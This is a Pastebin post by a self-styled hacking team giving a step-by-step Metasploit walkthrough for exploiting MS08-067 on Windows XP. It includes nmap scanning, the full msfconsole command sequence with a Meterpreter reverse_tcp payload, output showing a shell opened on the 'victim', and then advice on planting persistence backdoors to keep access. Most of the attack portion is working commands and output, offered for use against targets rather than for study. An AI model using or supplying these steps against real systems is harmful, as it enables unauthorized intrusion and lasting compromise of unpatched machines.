CyberdarkKh

How to Hack windows xp with MS08-067 exploit

May 1st, 2015
427
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 8.39 KB | None | 0 0
  1.  
  2.  
  3. We are Team Cyberdark (Cambodia)
  4.  
  5. I am member Team Cyberdark
  6.  
  7. #Operation Internet Freedom Hacking (Cambodia)
  8.  
  9.  
  10.  
  11.  
  12. Hack windows xp with MS08-067 exploit
  13. History of MS08-067
  14. ======================================================================================================================
  15. MS08-067: Vulnerability in Server Service Could Allow Remote Code Execution (958644)
  16. Severity CVSS Published Added Modified
  17. 10 (AV:N/AC:L/Au:N/C:C/I:C/A:C) October 22, 2008 October 22, 2008 February 12, 2015
  18. ======================================================================================================================
  19.  
  20.  
  21.  
  22. ======================================================================================================================
  23. Using metasploit its possible to hack windows xp machines just by using the ip address of the victim machine. It does not involve installing any backdoor or trojan server on the victim machine. Metasploit does this by exploiting a vulnerability in windows samba service called ms08-67. This exploit works on windows xp upto version xp sp3.
  24.  
  25. Further details and references to the vulnerability can be found at the following pages
  26.  
  27. http://cvedetails.com/cve/2008-4250/
  28. http://www.osvdb.org/49243
  29. http://www.microsoft.com/technet/security/bulletin/MS08-067.mspx
  30. http://www.rapid7.com/vulndb/lookup/dcerpc-ms-netapi-netpathcanonicalize-dos
  31.  
  32. ==================================================================================================================
  33. Note : This exploit is old as of now and will work only if the windows xp on the target machine is unpatched and not running any firewalls. If you were to scan a range of ip addresses to discover online windows xp machines, then most of them would likely be patched ( through automatic updates ).
  34. ====================================================================================================================
  35.  
  36. So if you want to test and practise this exploit, setup a vulnerable unpatched xp system.
  37. Scan for open ports
  38.  
  39. Before exploiting the xp machine with metasploit it is a good idea to scan for open ports using nmap to confirm that ports are accessible and accepting connections. Here is a quick example
  40.  
  41. root@cyberdark:~# nmap -n -sV 192.168.1.4
  42.  
  43. Starting Nmap 6.25 ( http://nmap.org ) at 2013-05-03 06:27 PDT
  44. Nmap scan report for 192.168.1.4
  45. Host is up (0.00051s latency).
  46. Not shown: 996 closed ports
  47. PORT STATE SERVICE VERSION
  48. 135/tcp open msrpc Microsoft Windows RPC
  49. 139/tcp open netbios-ssn
  50. 445/tcp open microsoft-ds Microsoft Windows XP microsoft-ds
  51. 2869/tcp open http Microsoft HTTPAPI httpd 1.0 (SSDP/UPnP)
  52. MAC Address: 08:00:27:D3:2C:37 (Cadmus Computer Systems)
  53. Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
  54.  
  55. Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
  56. Nmap done: 1 IP address (1 host up) scanned in 7.52 seconds
  57.  
  58. Check the port number 445. It is running the microsoft-ds samba service. This service is used to share printers and files across the network. It is this service that is vulnerable to the above mentioned exploit and would be hacked next using metasploit.
  59. =========================================================================================================================
  60. Exploit using metasploit
  61.  
  62. 1. The exploit is quite easy to launch. Start msfconsole.
  63.  
  64. Using notepad to track pentests? Have Metasploit Pro report on hosts,
  65. services, sessions and evidence -- type 'go_pro' to launch it now.
  66.  
  67. =[ metasploit v4.6.0-dev [core:4.6 api:1.0]
  68. + -- --=[ 1059 exploits - 595 auxiliary - 175 post
  69. + -- --=[ 277 payloads - 29 encoders - 8 nops
  70.  
  71. msf >
  72.  
  73. 2. Select the exploit with 'use' command.
  74.  
  75. msf > use exploit/windows/smb/ms08_067_netapi
  76. msf exploit(ms08_067_netapi) >
  77.  
  78. If you want to read information about the exploit then type 'info' and hit enter.
  79.  
  80. 3. See the options available
  81.  
  82. msf exploit(ms08_067_netapi) > show options
  83.  
  84. Module options (exploit/windows/smb/ms08_067_netapi):
  85.  
  86. Name Current Setting Required Description
  87. ---- --------------- -------- -----------
  88. RHOST yes The target address
  89. RPORT 445 yes Set the SMB service port
  90. SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC)
  91.  
  92.  
  93. Exploit target:
  94.  
  95. Id Name
  96. -- ----
  97. 0 Automatic Targeting
  98.  
  99.  
  100. msf exploit(ms08_067_netapi) >
  101.  
  102. The important option to set is the RHOST (Remote Host). This is the ip address of the victim machine that is running the vulnerable windows xp. In this example the ip address is 192.168.1.4
  103. So set the option
  104.  
  105. msf exploit(ms08_067_netapi) > set RHOST 192.168.1.4
  106. RHOST => 192.168.1.4
  107. msf exploit(ms08_067_netapi) >
  108.  
  109. 4. Select the payload
  110.  
  111. Next comes the payload. Payload is that piece of code that runs along with the exploit and provides the hacker with a reverse shell. We are going to use the windows meterpreter payload. If you want to see all the available payloads then use the 'show payloads' command.
  112.  
  113. msf exploit(ms08_067_netapi) > set payload windows/meterpreter/reverse_tcp
  114. payload => windows/meterpreter/reverse_tcp
  115.  
  116. Why meterpreter ? Because meterpreter is a very powerful kind of reverse shell that has lots of functionality already built in. The functionality includes common post exploitation tasks like scanning the target's network, hardware, accessing devices etc. Meterpreter can also start a vnc session.
  117.  
  118. 5. Check options once again
  119.  
  120. Now that we have selected out payload, its time to check the options once again.
  121.  
  122. msf exploit(ms08_067_netapi) > show options
  123.  
  124. Module options (exploit/windows/smb/ms08_067_netapi):
  125.  
  126. Name Current Setting Required Description
  127. ---- --------------- -------- -----------
  128. RHOST 192.168.1.4 yes The target address
  129. RPORT 445 yes Set the SMB service port
  130. SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC)
  131.  
  132.  
  133. Payload options (windows/meterpreter/reverse_tcp):
  134.  
  135. Name Current Setting Required Description
  136. ---- --------------- -------- -----------
  137. EXITFUNC thread yes Exit technique: seh, thread, process, none
  138. LHOST yes The listen address
  139. LPORT 4444 yes The listen port
  140.  
  141.  
  142. Exploit target:
  143.  
  144. Id Name
  145. -- ----
  146. 0 Automatic Targeting
  147.  
  148.  
  149. msf exploit(ms08_067_netapi) >
  150.  
  151. Now the options also include the payload options. The important options to set are LHOST and LPORT. The LHOST is the ip address of local machine or hacker machine. The LPORT is the port number on which the reverse shell listener will receive the incoming shell.
  152.  
  153. So setup the correct values
  154.  
  155. msf exploit(ms08_067_netapi) > set LHOST 192.168.1.33
  156. LHOST => 192.168.1.33
  157. msf exploit(ms08_067_netapi) > set LPORT 6666
  158. LPORT => 6666
  159. msf exploit(ms08_067_netapi) >
  160.  
  161. 6. Launch the exploit
  162.  
  163. Now metasploit is all configured to launch the exploit. Enter 'exploit' and hit enter.
  164.  
  165. msf exploit(ms08_067_netapi) > exploit
  166.  
  167. [*] Started reverse handler on 192.168.1.33:6666
  168. [*] Automatically detecting the target...
  169. [*] Fingerprint: Windows XP - Service Pack 3 - lang:English
  170. [*] Selected Target: Windows XP SP3 English (AlwaysOn NX)
  171. [*] Attempting to trigger the vulnerability...
  172. [*] Sending stage (752128 bytes) to 192.168.1.4
  173. [*] Meterpreter session 2 opened (192.168.1.33:6666 -> 192.168.1.4:1044) at 2013-05-03 03:27:25 -0700
  174.  
  175. meterpreter >
  176.  
  177.  
  178. After successfully exploit windows is important Persistence
  179.  
  180. How to Create a Persistence Backdoor after exploit in windows OS using Metasploit and why need Persistence after exploit windows victim
  181.  
  182. Previous posts i explained how to exploit and gain access in window OS , after gaining access its important to create a backdoor to exploit again.
  183.  
  184.  
  185.  
  186. If you have succeed to exploit a system you may consider to place a back-door in order to connect again easily with your target.For example if the user decides to install a patch or to remove the vulnerable service in his system then you will need to figure out an alternative way for getting again access to the remote system.That’ss why back-doors are important because they can maintain access to a system that you have compromised.
Add Comment
Please, Sign In to add comment